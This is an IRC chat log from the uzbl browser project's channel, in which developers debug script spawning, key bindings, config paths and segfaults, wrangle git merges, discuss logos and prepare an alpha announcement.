15:37 <@Dieterbe> i wonder how firefox does it. i know they use sqlite, but at the same time I don't think they could use indexes, given the way their search works
15:37 < dusanx> I can't think of scenario where I want to keep one year of data, not ten
15:38 < rob|> building an optimized NFA is fast
15:38 < rob|> that area is being researched quite well
15:39 <@Dieterbe> nfa == nondeterministic finite automata ?
15:39 < dusanx> Dieterbe: I would like to try webkit search, you did not touch that area?
15:39 <@Dieterbe> dusanx: nope i didn't
15:40 < rob|> Dieterbe: yes
15:41 < rob|> Dieterbe: regexes are transformed into such critters and those do the actual matching
15:41 <@Dieterbe> rob|: ahmm now i think about it, they could use an index and match the words separately and then take the common denominator
15:41 <@Dieterbe> pretty much like how i would want dmenu to work
15:44 <@Dieterbe>  rob|> Dieterbe: regexes are transformed into such critters and those do the actual matching -> aha okay
15:50 <@Dieterbe> rob|: btw your history patch what was it about? did it get included?
16:01 -!- rob| [n=rob@rgnb-5d874fab.pool.einsundeins.de] has quit [Read error: 110 (Connection timed out)]
16:02 <@Dieterbe> please come back :P
16:02 -!- Irssi: #uzbl: Total of 12 nicks [1 ops, 0 halfops, 0 voices, 11 normal]
16:02 < dpb> I doubt he'll hear you. ;)
16:04 <@Dieterbe> :)
16:05 -!- rob___ [n=rob@rgnb-5d87d408.pool.einsundeins.de] has joined #uzbl
16:05 < dpb> There he is.
16:05 -!- rob___ is now known as rob|
16:05 <@Dieterbe> woohoo
16:06 <@Dieterbe> rob|: btw your history patch what was it about? did it get included?
16:07 < rob|> no, i didn't - though i never sent that patch to arg. basically it remebered the last n used matches and showed them as the first n menu entries, nothing fancy
16:07 <@Dieterbe> ah, is it http://gotmor.googlepages.com/ "dmenu-history"
16:07 < rob|> yeah
16:08 <@Dieterbe> k, i don't think it would be very useful to me personally, as i rather start typing to get an instant match then using arrow keys to navigate one by one
16:08 <@Dieterbe> especially since i don't really use dmenu on small lists
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17:10 < dusanx> Dieterbe: your call works with or without /bin/bash :)
17:10 < dusanx> just to check once more
17:10 <@Dieterbe> that's weird
17:11 < dusanx> maybe I looked wrong, wait
17:11 <@Dieterbe> because when i tried it witout /bin/bash it wouldn't execute
17:13 < dusanx> nope, sorry
17:13 < dusanx> but I am looking
17:14 < dusanx> gboolean    g_spawn_command_line_async      (const gchar *command_line, GError **error);
17:14 < dusanx> I will try this now
17:14 < dusanx> looks like exactly what we need
17:16 <@Dieterbe> indeed, i'm starting to love glib
17:16 <@Dieterbe> btw system() also seems to be async.  i guess it spawns a new thread internally or something
17:16 < dusanx> and... it works :)
17:16 < dusanx> confirmed
17:17 < dusanx> Called ./extra/load_url_from_history.sh '�W`' '14733' '12582915' '/tmp/uzbl_25165827' (null).
17:17 <@Dieterbe> nice
17:17 < dusanx> notice removed /bin/bash
17:17 <@Dieterbe> yeah i see
17:17 < dusanx> and I get dmenu
17:17 <@Dieterbe> woot
17:17 < dusanx> when I select something uzbl does not navigate but I get history!
17:18 < dusanx> navigation is your fifo department so I can't help ;)
17:18 <@Dieterbe> well, probobably the fifo filename is not correct
17:18 < dusanx> you will fix that
17:18 <@Dieterbe> check the script that it echos "uri http://..."
17:18 <@Dieterbe> ok sure
17:18 <@Dieterbe> but i can only fix in 2 hours, not now ;)
17:18 < dusanx> I don't dare to start script manually after that freeze
17:19 <@Dieterbe> ok no problem :) i will risk my system :D
17:19 <@Dieterbe> btw did you say when you used system() it also worked?
17:19 < dusanx> did not work, I was looking at wrong line
17:20 < dusanx> A simple version of g_spawn_async() that parses a command line with g_shell_parse_argv() and passes it to g_spawn_async(). Runs a command line in the background. Unlike g_spawn_async(), the G_SPAWN_SEARCH_PATH flag is enabled, other flags are not. Note that G_SPAWN_SEARCH_PATH can have security implications, so consider using g_spawn_async() directly if appropriate. Possible errors are those from g_shell_parse_argv() and g_spawn_async(). 
17:20 <@Dieterbe> o_O
17:20 < dusanx> system can't start shell scripts, this one does
17:20 <@Dieterbe> ok
17:21 < dusanx> I will see thing or two to patch and then I'll push this
17:21 < dusanx> but I can't code search, it's too easy
17:21 <@Dieterbe> what do you mean?
17:21 < dusanx> webkit_web_view_search_text
17:22 < dusanx>  webkit_web_view_set_highlight_text_matches
17:22 < dusanx> I love match highlighting!
17:23 < dusanx> need to make search script that calls dmenu, I'll leave that to you or B ;)
17:23 < dusanx> search command etc, a lot of work
17:24 <@Dieterbe> ok. so what do you want to do next?
17:24 < dusanx> rest :)
17:24 < dusanx> pushed, it's on git
17:25 < dusanx> noting else today
17:25 <@Dieterbe> ok, fair enough :)
17:25 < dusanx> you will probably want to merge, finish navigation and publish to audience
17:26 < dusanx> I am behind the plan with watching stargate atlantis
17:26 < dusanx> and playing urban terror
17:26 <@Dieterbe> with finish navigation you mean fixing the scripts/dmenu/to fifo echoing, right?
17:27 < dusanx> yes, with navigation I can use uzbl full time :)
17:27 <@Dieterbe> k. i'll do that tonight
17:27 < dusanx> wow, our git network looks impressive
17:29 <@Dieterbe> http://feedproxy.google.com/~r/failblog/~3/FIZv0JllVVg/
17:29 <@Dieterbe> man that's funny
17:29 <@Dieterbe> read the whole thing
17:30 < dusanx> lol
17:30 < dusanx> reading
17:31 < dusanx> hard day at work?
17:32 -!- barrucadu [n=barrucad@77.86.42.240] has joined #uzbl
17:32 < barrucadu> Hi :)
17:32 < dusanx> Hi!
17:32 < dusanx> we missed you
17:32 <@Dieterbe> dusanx: yea :)
17:32 <@Dieterbe> dusanx: i can't focus :P
17:32 < dusanx> lol
17:32 <@Dieterbe> hello barrucadu 
17:32 < barrucadu> :p
17:33 <@Dieterbe> barrucadu: dusanx has been doing some great stuff today
17:34 < barrucadu> I'll have a look soon
17:34 < dusanx> and managed to import your experimental, thanks to you
17:34 < barrucadu> What have you been working on? :)
17:34 < dusanx> changes are at github
17:34 < dusanx> there is NO warnings now
17:35 < barrucadu> Wow
17:35 < dusanx> so when we get one we know that should be fixed
17:35 < dusanx> completed key handling
17:35 < dusanx> all variations
17:35 < barrucadu> You've been a little busy then :p
17:36 < dusanx> can't remember, probably few fixes here and there :)
17:36 < dusanx> yeah, nice coding day :)
17:37 < dusanx> most important thing today is that I managed to import git, that was driving me crazy
17:38 <@Dieterbe> barrucadu: today i will fix script executing so that history/bookmarks scripts are actually usable.  dusanx fixed the keybinds so i take over from there
17:38 <@Dieterbe> barrucadu: once that works, i'll do some adjustments to the website and maybe we can do a first proof of concept / alpha release
17:38 < barrucadu> ok
17:39 < barrucadu> I'll merge all the commits I've missed and work on fully supporting XDG
17:39 <@Dieterbe> ok nice
17:40 < dusanx> I will maybe try to check navigation-requested webkit signal, hope that open in new window/tab goes through that
17:40 < dusanx> populate-popup signal: When a context menu is about to be displayed this signal is emitted. 
17:40 < dusanx> this will be handy
17:43 < dusanx> hmm, what gpointer user_data contains, it's in every signal?
17:44 <@Dieterbe> what will you do with populate-popup ?
17:44 < dusanx> Add menu items to menu to extend the context menu.
17:44 < dusanx> web_view : the object on which the signal is emitted 
17:44 < dusanx> menu : the context menu 
17:45 < dusanx> we can create or remove pupup as we like
17:45 < dusanx> add items, remove items...
17:45 < dusanx> not right now but it may be handy
17:48  * barrucadu merges dusanx's commits
17:48  * barrucadu compiles
17:48 < barrucadu> No warnings :D
17:48 < dusanx> :D
17:48  * barrucadu commits, and pushes to github
17:51 < dusanx> barrucadu: please test mod key, you can use more than one = Mod1 Control etc. You will have to press all of them of course. Key list is in config read function. In insert mode you can still defined keys if you press mod key(s).
17:51 < dusanx> can use of course, missed word
17:54 <@Dieterbe> oh btw dusanx , i also like to play UT :)
17:55 < dusanx> great
17:55 < dusanx> that and xmoto are the only two games I use
17:55 <@Dieterbe> though i find it hard to find servers with enough people that are not noobs and are not experts either :P
17:55 < dusanx> lol
17:55 < dusanx> I am pretty good
17:55 <@Dieterbe> and where i have a reasonable ping
17:55 < barrucadu> It only works with one modkey for me, I have "modkey = Mod1 Control" in my config, it picks this up ("Modkey: Mod1 Control"), but pressing Mod1+Control+[command] does nothing, whereas Mod1+[command] works fine
17:56 < dusanx> hmm you should have better ping that I do, you are in mid-europe
17:56 < dusanx> I will check
17:56 <@Dieterbe> good ping = <50
17:56 <@Dieterbe> imho
17:56 < dusanx> I get ~80
17:56 < dusanx> up to 100 is a good one
17:58 <@Dieterbe> i used to play "tactical ops: assault on terror", a mod for unreal tournamemnt. it's the same style. i really liked that game but i can't run it on linux. and there were good servers in belgium for it, i sometimes had <30 ping
17:58 < dusanx> I used to play day of defeat, when I discovered UT I could kill windows -- that was last app left
17:59 <@Dieterbe> ah yes DoD also was a nice game
17:59 <@Dieterbe> barrucadu: you merged in axelsons stuff??
18:00 < barrucadu> Dieterbe: yes
18:00 <@Dieterbe> no offence to the person, but i find this http://github.com/Barrucadu/uzbl/commit/158043454ca86600bb96e94dd15325431edbf556 quite stupid
18:00  * barrucadu looks
18:00 < dusanx> agreed, must be cautious
18:01 <@Dieterbe> i also thought we already had a .gitignore but i may be wrong
18:01 < dusanx> me to
18:01 <@Dieterbe> anyway i'm going home now. see you soon
18:01 < barrucadu> I don't really understand Makefiles so I assumed it was a sensible fix :p
18:01 < barrucadu> ok
18:01 <@Dieterbe> well, be careful when merging in stuff from others
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18:09 < jouz> hi there, i'd like to join tinkering on uzbl, but after pulling the code, i can't get it to compile :( make returns a big number of (i think) gtk-related errors. Are there any deps i could have missed?
18:09 < dusanx> what distro are you using?
18:09 < jouz> arch
18:10 < dusanx> hmm
18:10 < dusanx> should be enough
18:10 < dusanx> webkit installed, right? gtk?
18:11 < jouz> yep both
18:11 < jouz> uh
18:11 < jouz> im seeing the first two error lines are "make: pkg-config: Command not found"
18:12 < dusanx> aur version or you used git?
18:13 < jouz> used git :) and pacman -S pkgconfig did the trick ;) 
18:13 < dusanx> nice
18:16 < jouz> hmm still doesn't seem right :/, starting uzbl renders a blank window...
18:17 < dusanx> make test
18:17 < dusanx> or uzbl --uri http://www.google.com
18:17 < jouz> ah i forgot the http:// :)
18:18 < jouz> thanks!
18:18 < dusanx> np
18:18 < dusanx> yes, we do need some processing to handle ;)
18:20 < jouz> ^^
18:45 < barrucadu> I've just got $XDG_CONFIG_DIRS working :)
18:45 < barrucadu> A few warnings to remove, and then I'll commit
18:46 < dusanx> great
18:47 < barrucadu> Done
18:47 < dusanx> great now we wait for D to finish navigation and we are ready for alpha
18:47 < barrucadu> :)
18:48 <@Dieterbe> allright bitchiizz
18:48 < dusanx> yes boss!
18:48  * barrucadu gets back to work
18:48 < barrucadu> :p
18:49 < dusanx> nice necktie if I must say
18:49 < dusanx> not must may lol
18:49 <@Dieterbe> hm?
18:49 <@Dieterbe> what do you mean?
18:49 < dusanx> I am just being polite to our boss (you), thats all :P
18:50 < barrucadu> Oh, I propose that make test takes the user to the uzbl website :p
18:50 <@Dieterbe> ok sounds good, commit that :P
18:51 <@Dieterbe> meanwhile i catch up and merge
18:51  * barrucadu commits
18:53 <@Dieterbe> barrucadu: can you undo the commit from axelson?
18:53 <@Dieterbe> i know with git you cando commits somehow
18:54 <@Dieterbe> the PHONY thing is not good imho
18:54  * barrucadu googles for "git undo commit"
18:54 < lwi> git revert
18:55 < barrucadu> Thanks :)
18:55 <@Dieterbe> http://www.kernel.org/pub/software/scm/git/docs/git-revert.html
18:55 <@Dieterbe> yep
18:55 <@Dieterbe> barrucadu: and after you've undone that commit, maybe change the line in the authors file too
18:57 < barrucadu> Done
18:58 <@Dieterbe> thanks mate
19:00 <@Dieterbe> what is stuff like this for?
19:00 <@Dieterbe> -    gtk_misc_set_alignment (mainbar_label, 0, 0);
19:00 <@Dieterbe> 0
19:00 <@Dieterbe> -    gtk_misc_set_padding (mainbar_label, 2, 2);
19:00 <@Dieterbe> 0
19:00 <@Dieterbe> +    gtk_misc_set_alignment (GTK_MISC(mainbar_label), 0, 0);
19:00 <@Dieterbe> 0
19:00 <@Dieterbe> +    gtk_misc_set_padding (GTK_MISC(mainbar_label), 2, 2);
19:01 < dusanx> used to nicely arrange everything
19:01 < dusanx> needed
19:01 < dusanx> so everything works with any default font I hope
19:01 < dusanx> without padding for instance label is too near the border
19:02 <@Dieterbe> ah ok
19:02 < dusanx> that gives 2 px padding around status label
19:03 <@Dieterbe> ok
19:03 <@Dieterbe> barrucadu: is there a specific reason why .gitignore is inside .gitignore?
19:04 <@Dieterbe> i mean, the contents of .gitignore is useful to track in the repo
19:04 <@Dieterbe> i don't see why we should ignore it
19:04 < dusanx> I did not touched that
19:04 < barrucadu> Ok, I'll remove it
19:05 < dusanx> and please add plain uzbl executable in gitignore, last time I have uploaded uzbl too :(
19:05 <@Dieterbe> it's in there
19:06 <@Dieterbe> barrucadu: you merged from dusan, so if i merge fromyou. i have everything right?
19:06 < barrucadu> yes
19:11 <@Dieterbe> dieter@dieter-ws-a7n8x-arch uzbl [bar/experimental] Called /bin/bash ./extra/history.sh 'sampleconfig' '26279' '23068675' '/tmp/uzbl_25165827' 'http://www.uzbl.org/' 'TODO:page title here' '2009-04-27 19:10:53'.  Result: FALSE
19:11 <@Dieterbe> hmm history logging is broken
19:12  * barrucadu hears the fire alarm going off
19:12 < barrucadu> <.>
19:12  * barrucadu investigates
19:12 <@Dieterbe> also if i remove the '/bin/bash' part in the config btw
19:12 <@Dieterbe> dusanx: any idea?
19:12 < dusanx> no but sh executes, that's sure
19:13 < dusanx> I have not touched anything!
19:13 < barrucadu> I haven't touched anything but the settings loading
19:13 < dusanx> can you confirm that sh execution works? press u for instance, I got dmenu
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19:14 < barrucadu> I get dmenu, then it segfaulted
19:14 < barrucadu> Called /bin/bash ./extra/load_url_from_history.sh '�' '8820' '25165827' '/tmp/uzbl_25165827' (null).  Result: FALSE
19:14 < barrucadu> command executing: "uri http://www.google.com"
19:14 < barrucadu> zsh: segmentation fault  ./uzbl
19:15 <@Dieterbe>  '�'
19:15 <@Dieterbe> that looks wrong
19:15 <@Dieterbe> the first arg
19:15 < dusanx> I will be gone for a few hours
19:15 <@Dieterbe> k np dusanx 
19:15 < dusanx> but will leave irssi open
19:15 <@Dieterbe> and thanks (to both of you) for your help !
19:15 < dusanx> ;)
19:15 <@Dieterbe> oh also the last argument
19:15 <@Dieterbe> none of the args should be null or something weird
19:16 <@Dieterbe> cool when i press u i also get dmenu
19:16 <@Dieterbe> and uzbl.org is in it.. very weird since i don't have a /tmp/history, because history logging is broken
19:16 < barrucadu> I only get dmenu if I run uzbl from a terminal.
19:17 < barrucadu> *realises*
19:17 < barrucadu> it's looking in ./extra
19:17 < barrucadu> Not in the directory of the executable
19:17 < barrucadu> I'll edit my local copy of the config file so my shortcut works :)
19:17 <@Dieterbe> so? i always test from the main directory, so ./extra/.. works
19:18 -!- rob|6 [n=user9871@rgnb-5d87d408.pool.einsundeins.de] has joined #uzbl
19:19  * barrucadu goes to eat
19:19 <@Dieterbe> ok
19:20 < jouz> btw: i still dont get what uzbl stands for?! ;)
19:20 <@Dieterbe> jouz: soon when fogobogo has made the picture and let me put the quote on it i have in mind, it will all become clear
19:20 <@Dieterbe> (picture of his cat)
19:27 < jouz> Dieterbe: i'm looking forward to it, i need s.th. to keep it in mind (still forget the actual spelling every 10 minutes ;) )
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19:47  * barrucadu returns
19:50 <@Dieterbe> barrucadu: 
19:50 <@Dieterbe> char *XDG_CONFIG_HOME_default = "~/.config";
19:50 <@Dieterbe> does this work?
19:50 <@Dieterbe> where does ~ get expanded?
19:51 < barrucadu> Ah, I didn't actually test that. I'll fix it now :p
19:55 <@Dieterbe> barrucadu and dusanx , i pushed a file called CHECKLIST, please read the instructions in it, this file will help us keeping track of what should work and how we can play with/test each others stuff
20:03 < barrucadu> XDG_CONFIG_HOME now works :)
20:03 < barrucadu> I'll merge and add it to the checklist file
20:05 <@Dieterbe> put everything you ever did into the checklist file
20:05 <@Dieterbe> it should be 100% accurate
20:12 <@Dieterbe> yes, history thingie works
20:13 < barrucadu> :)
20:13 <@Dieterbe> ok, it worked once
20:13 <@Dieterbe> :x
20:14 < barrucadu> lol
20:15 < barrucadu> Is it just me, or do commands have a habit of doing nothing while a page is loading?
20:15 < barrucadu> I wonder if that's anything to do with key_press_cb being attached to the webkit instance rather than the main window
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20:17 < kcbanner> Hello all
20:18 < barrucadu> hi
20:18 <@Dieterbe> barrucadu: the question really is: is the key (combo) catched. not sure if we have printf's for that, maybe we should
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20:21 < kcbanner> Where is the URL bar or how do I change the page I am on
20:23 <@Dieterbe> there is no url bar
20:23 <@Dieterbe> write to the fifo
20:24 < barrucadu> Dieterbe: Are you working on fixing the weird args being sent to external scripts? If not I'll have a look at it
20:24 < kcbanner> Dieterbe, ah, right
20:24 <@Dieterbe> barrucadu: yeah, sort of
20:24 < barrucadu> ok
20:25 < kcbanner> "command executing: "uri http://www.google.ca"[1]    12448 segmentation fault  ./uzbl -c"
20:26  * barrucadu tries the same thing
20:26 < barrucadu> Hmm, segfault…
20:26 < barrucadu> I'll get on it
20:26 < kcbanner> (or how do I load a URI from fifo?)
20:26 < kcbanner> I suppose I could just read the source </lazy>
20:27 <@Dieterbe> or read the docs
20:27 < kcbanner> ah, ok I did have it right, uri to the fifo just segs
20:29 < kcbanner> command executing: "uri www.google.ca"  this doesn't seg
20:29 < kcbanner> (but nothing loads in uzbl)
20:30 < kcbanner> command executing: "uri http://www.google.ca" this does seg, traceback: [Switching to Thread 0xb53cb920 (LWP 24298)]    0xb6d5db24 in strcpy () from /lib/libc.so.6
20:31 < kcbanner> uzbl is great though. I think that I will fork and extend it with a URL bar. It is really needed for web dev and stuff like that where you need to edit URL params often. 
20:32 < jouz> AH I FINALLY GOT THE NAME, its lolcat for "usable" isn't it? :D
20:32 < barrucadu> Changing buffer[200] to buffer[512] on line 244 seems to fix it.
20:32 < barrucadu> jouz: yes :)
20:32 < kcbanner> stuff like www.example.com/?a=1&b=2 I can see it getting tedious having to go back and forth from a control to the browser.
20:33 < kcbanner> barrucadu, I must have a different version than you, I will check out yours
20:33 <@Dieterbe> jouz: correct :)
20:34 < barrucadu> Github seems to be being slow again
20:34 < kcbanner> barrucadu, nice you fixed all those warnings
20:34 < jouz> :) and magically, i will never fortget that abbreviation
20:35 < barrucadu> dusanx fixed the warnings, praise him :p
20:35 < kcbanner> ah
20:35 < barrucadu> brb
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20:35 < jouz> barrucadu: github IS dead-slow in general :(
20:35 < kcbanner> I think what I will do is create emacs keybindings. It would be extremely fast and easy for me to use with C-x f for opening a URL and C-x c to close it. /me forks
20:36 < kcbanner> Who has the latest version repo that I should fork from?
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20:37 < kcbanner> barrucadu, is your repo the latest to fork from?
20:37 < barrucadu> kcbanner: I don't think there are any commits I'm missing, so yes
20:38 < kcbanner> barrucadu, cool.
20:40 <@Dieterbe> i'm gonna put the latest stuff in master
20:40 <@Dieterbe> so AUR users can build new packages
20:40 < barrucadu> ok
20:41 < kcbanner> weird. I keep getting 'warning: remote HEAD refers to nonexistent ref, unable to checkout.' when I try to clone my forked repo (slightly new to git)
20:51 <@Dieterbe> barrucadu: load from history works more or less. i can do it 5-6 times and then it segfaults
20:51 < barrucadu> I noticed that too
20:54  * barrucadu notices that the website looks slightly broken
20:56  * barrucadu fixes
20:56 <@Dieterbe> the bottom right thing?
20:56 < barrucadu> yes
20:56 < barrucadu> As the side bar is longer than the news area, the design breaks
20:57 < barrucadu> When we have enough news it won't be a problem though :)
21:00 < kcbanner> If you guys need hosting, I'd be happy to provide it.
21:00 < kcbanner> I have lots of extra b/w
21:00 < barrucadu> So do I :)
21:00 < barrucadu> I need to use it up with *something* :p
21:00 < kcbanner> nice
21:11 < dusanx> I am back
21:14 < barrucadu> wb
21:18 <@Dieterbe> dusanx: can you look at the CHECKLIST file and fill in all the stuff you've done please :)
21:21 < dusanx> yes
21:21 < dusanx> whos got latest git?
21:22 <@Dieterbe> i do
21:23 < dusanx> ok, no problem
21:27 < dusanx> for the first time I can merge on server and then download everything as I should
21:29 < dusanx> how do I kill local git branch that I don't need?
21:31 <@Dieterbe> git branch -d
21:31 < dusanx> thanks
21:31 <@Dieterbe> guys, can you merge from my experimental please 
21:32 < dusanx> I am about to
21:32 <@Dieterbe> i moved the example configs etc a bit around
21:35 < barrucadu> Done
21:36 < dusanx>  got it, I am getting good at this :)
21:37 < dusanx> I will try to explain config and keys and status
21:39 < dusanx> and some parts are already explained in sampleconfig, good job
21:40 < dusanx> bindings_external in sampleconfig should be without /bin/bash?
21:46 <@Dieterbe> yeah but i'm playing with that right now
21:46 < dusanx> ok
21:47 < jouz> btw: why can't i input text into texfields with uzbl?
21:47 <@Dieterbe> are you in insert mode?
21:47 < dusanx> you are in command mode [C]
21:47 < dusanx> either:
21:47 < dusanx> a) press i to go to insert mode (press esc to go to command again)
21:48 < dusanx> b) modify always_insert_mode to 1 in uzbl config file
21:48 < jouz> dusanx: ah k :) i use "a" to get into insert mode in vim...
21:48 < dusanx> you have [C] or [I] to see mode
21:48 < dusanx> in status or title line depending on your settings
21:49 < jouz> ok awesome!
21:50 <@Dieterbe> ok dudes.  loading url from bookmark and from history works :)
21:51 <@Dieterbe> inserting new bookmark not yet
21:51 < dusanx> but you can use dmenu to type any new url, right?
21:51 <@Dieterbe> lol i didn't even try that yet
21:51 < dusanx> if that works we have almost alpha
21:51 < barrucadu> Yes, dmenu can be used to load a new URL
21:52 <@Dieterbe> yes :D
21:52 <@Dieterbe> cool
21:52 < dusanx> YES!
21:52 < barrucadu> All we need now is an open link in new window feature and I can happily remove Opera :)
21:52 < dusanx> I will work on that tonight :)
21:53 < barrucadu> ^^
21:53 < dusanx> don't know if it is possible but I will find a way
21:53 < dusanx> I need that too lol
21:54 < dusanx> and you two spoiled me, I am using command mode while surfing :(
21:55 < dusanx> Dieterbe: while you are working, can you add 'http://' to any url that does not have '://' ?
21:56 <@Dieterbe> k
21:56 <@Dieterbe> oh you mean in the code?
21:56 <@Dieterbe> or in the example/doc?
21:56 < dusanx> yup, in the code
21:57 <@Dieterbe> can you add that to the TODO file, it is something for later
21:57 < dusanx> b/c that's logical, right? www.google.com should not give error
21:57 < dusanx> ok, I'll add that ;)
21:57 <@Dieterbe> yep indeed, add to todo please
21:57 < dusanx> to code
21:57 <@Dieterbe> i 'm going to get a fresh mind now. i'm back in 15min or so, then i prepare the site a bit, and we can do a littleannouncement
21:57 <@Dieterbe> we have a working prototype now
21:58 < dusanx> :D
22:00 < barrucadu> :)
22:23 <@Dieterbe> btw
22:23 <@Dieterbe> http://thorwil.wordpress.com/2009/04/27/uzbl/
22:26 < dusanx> they are both good
22:26 < dusanx> maybe #1
22:26 <@Dieterbe> i prefer #2
22:27 < barrucadu> I think the first - with no speech bubble and the dark-grey-borders-with-white-middle "uzbl" text to the side
22:28 < dusanx> bubble is not bad
22:28 < dusanx> but I am not designer
22:28 < barrucadu> Hmm, I just don't think it looks particularly good connected to the cat
22:29 < jouz> #2 looks more like a racoon ;)
22:29 <@Dieterbe> barrucadu: i'm gonna make some local edits with my shell account
22:29 <@Dieterbe> having some git problems
22:30 < barrucadu> ok
22:36 < rson> re: logos, what would ppl think of #1 with uzb(cat image as l) 
22:36 < rson> i'm bored
22:38 < barrucadu> Hmm, that could be good :)
22:38 < rson> mocking up in inkscape to see what it'd look like
22:48 <@Dieterbe> barrucadu: it's .config/uzbl/uzbl ?
22:49 < barrucadu> Dieterbe: Just .config/uzbl, it would seem I didn't read the basedir spec properly. Wait a minute...
22:50 <@Dieterbe> yeah usually you have a dir named after the progman and inside that dir your files
22:50 <@Dieterbe> eg .config/uzbl/config
22:50 < dusanx> I added check so you can use ./uzbl --uri www.google.com without http://
22:50 <@Dieterbe> nice
22:51 < dusanx> want me to push now, it's a small change
22:51 < dusanx> ?
22:51 < barrucadu> Dieterbe: done
22:51 < barrucadu> It now looks for $XDG_CONFIG_HOME/uzbl/config
22:51 < rson> http://omploader.org/vMWw4Nw http://omploader.org/vMWw4OA obviously this is just peiced from what the originals were. i'm not sure if i like it or not
22:51 < rson> kinda do, kinda dont
22:52 < barrucadu> I think that looks great
22:52 < dusanx> I like cat #1 better, sorry
22:52 < dusanx> with baloon
22:53 < dusanx> uzbl is confusing enough and if me make L non-clear well...
22:53 < rson> yeah i didnt realize it was a disambigulation until dieterbe mentioned it in the thread
22:53 <@Dieterbe> disambiwhat?
22:53 <@Dieterbe> barrucadu / dusanx i updated the site
22:54 <@Dieterbe> you can show it off now imho :P
22:54 < dusanx> otorinolaringology ya know :P
22:54 < barrucadu> Recent Commits: "scare away some newbies"
22:54 < barrucadu> I shall have to see what that commit was :p
22:54 < rson> haha
22:55 < rson> man i'd love to dig into the code a bit and resharpen my c-saw (completely intended) but you guys move way too fast for me to keep up
22:55 < dusanx> nice :)
22:55 <@Dieterbe> okay from who should i merge new code?
22:56 <@Dieterbe> barrucadu your xdg stuff is tested?
22:56 < dusanx> I have yours
22:56 < dusanx> did not push uricheck version yet
22:56 < barrucadu> yes
22:56 <@Dieterbe> dusanx: check that it works and push it
22:56 < dusanx> can I push first please?
22:56 < dusanx> doing right now
22:57 <@Dieterbe> ok
22:59 < dusanx>  ! [rejected]        master -> master (non-fast forward)
22:59 < dusanx> what now???
22:59 <@Dieterbe> pwned :)
23:00 < dusanx> checking github
23:00 < dusanx> local status is now nothing to commit
23:02 < dusanx> this is crazy
23:02 < dusanx> I had uzbl.c to commit, done everything as normal
23:03 < dusanx> got error above
23:03 < dusanx> nothing to commit
23:03 < dusanx> and no new file on github
23:03 <@Dieterbe> where are your changes now? gone?
23:03 < dusanx> they are in my uzbl.c just fine
23:04 < dusanx> but they are marked as old obviously
23:05 < dusanx> I am looking but no idea :(
23:05 < dusanx> It was tiny change
23:07 <@Dieterbe> maybe paste the change and I can try to commit it
23:07 < dusanx> ok
23:07 < dusanx> static gchar* 
23:07 < dusanx> uricheck (gchar* uri) { 
23:07 < dusanx>     if (g_strrstr (uri,"://") == NULL){   
23:08 < dusanx>         GString* newuri = g_string_new (uri); 
23:08 < dusanx>         free(uri);  
23:08 < dusanx>         g_string_prepend (newuri, "http://"); 
23:08 < dusanx>         uri = g_string_free (newuri, FALSE); 
23:08 < dusanx>     }     
23:08 < dusanx>     return (uri);  
23:08 < dusanx> }  
23:08 < dusanx> that's the function
23:08 < dusanx> I have it just below /* -- CORE FUNCTIONS -- */  
23:09 < dusanx> starts at line 217
23:09 < rson> i like the site btw, gj guys
23:09 < dusanx> 274 in my source:   c->func_2_params (web_view, uricheck(command_param));
23:09 < dusanx> added uricheck as you can see
23:09 < dusanx> 619: webkit_web_view_load_uri (web_view, uricheck(uri));   
23:10 < dusanx> same
23:10 < dusanx> that's all
23:11 < dusanx> function and two modified lines, ok?
23:11 < dusanx> I hate git... again
23:13 <@Dieterbe> ok just a sec
23:15 < barrucadu> Dieterbe: did you make the uzbl-website folder on the server?
23:17 < dusanx> shit I know why there is a problem!
23:18 <@Dieterbe> http://dieter.plaetinck.be/uzbl_a_browser_that_adheres_to_the_unix_philosophy
23:18 <@Dieterbe> barrucadu: yes, you can delete it
23:18 < dusanx> nothing I can do now but next time I will not experiment lol
23:19 < dusanx> I tried fork queue option on github and that's what created problems
23:19 < dusanx> I will do proper merge next time so hopefully problem will not happen again
23:23 <@Dieterbe> dusanx:  dusanx> 274 in my source:   c->func_2_params (web_view, uricheck(command_param));
23:23 <@Dieterbe> that one is very tricky imho
23:23 < dusanx> I know
23:23 <@Dieterbe> because the argument doesn't need to be a url
23:23 < dusanx> that's what I wanted to discuss
23:23 < dusanx> I know exactly what you mean
23:23 < dusanx> remove it?
23:23 < dusanx> keep just second one?
23:24 <@Dieterbe> no, it just depends on the callback function
23:25 <@Dieterbe> when doing c->func_2_params (web_view, command_param); we just call a function with some argument. we know nothing about it
23:25 < dusanx> hmm, not sure what to do
23:25 < dusanx> I know
23:25 <@Dieterbe> it's up to the actual function to fix the url
23:25 < barrucadu> A messy solution would be to check if func_2_params is &webkit_web_view_load_uri (or whatever the function is called), and have an if statement
23:25 < dusanx> very messy
23:25 <@Dieterbe> or just create a wrapper callback function
23:25 < dusanx> or to add flag to func structure 'fix url or not'
23:26 < dusanx> messy anyway
23:26 < barrucadu> I think a wrapper would be the least messy
23:26 <@Dieterbe> dont point to webkit_web_view_load_uri, but rather to a wrapper function that fixes the url
23:26 < dusanx> that's better
23:26 < dusanx> yes
23:26 <@Dieterbe> ok i'll fix the wrapper now
23:26 < dusanx> thanks
23:26 < dusanx> I will pull as soon as you push something lol
23:27 < dusanx> don't want to do it now before your push to avoid mess on my side
23:28 < dusanx> Dieterbe: arch forum announcement?
23:29 <@Dieterbe> be my guest
23:29 < barrucadu> I'll write something for my blog later
23:29 < barrucadu> Not that anyone reads it… :p
23:29 < dusanx> no, forum announcement is yours. My English varies from bad to very bad ;)
23:30 <@Dieterbe> after i fix this url thing i go to bed
23:31 <@Dieterbe> so one of you guys has the honor ^^
23:31 < barrucadu> I'm not good at writing, well, detailed things :p
23:31 < dusanx> barrucadu: you should be very good with English :P
23:31 < barrucadu> I have a habit of summarising things to the point of uselessness :p
23:31 < barrucadu> That doesn't make me good at writing :p
23:31 < rson> why not just announce that much progress has been made and to check git commits for more info
23:32 < dusanx> ok, you dictate, I'll write ;)
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23:36 < barrucadu> Short post done: http://bbs.archlinux.org/viewtopic.php?pid=544170#p544170 :)
23:36 <@Dieterbe> dusanx: i committed and pushed, but it segfaults, so you'll have to check it
23:36 <@Dieterbe> or tomorrow i can look myself
23:36 <@Dieterbe> but i keep this in experimental, not master
23:37 < dusanx> pulling, give me five minutes
23:37 <@Dieterbe> perfect barrucadu 
23:37 <@Dieterbe> ok. you get 5
23:37 < barrucadu> And only 5.
23:37 < barrucadu> :p
23:38 < dusanx> nice one :)
23:42 <@Dieterbe> and?
23:42 <@Dieterbe> fixed it?
23:42 < dusanx> wait
23:44 < dusanx> error: you need to resolve your current index first
23:45 < dusanx> ok, I can fix conflicts
23:45 < dusanx> 5 min
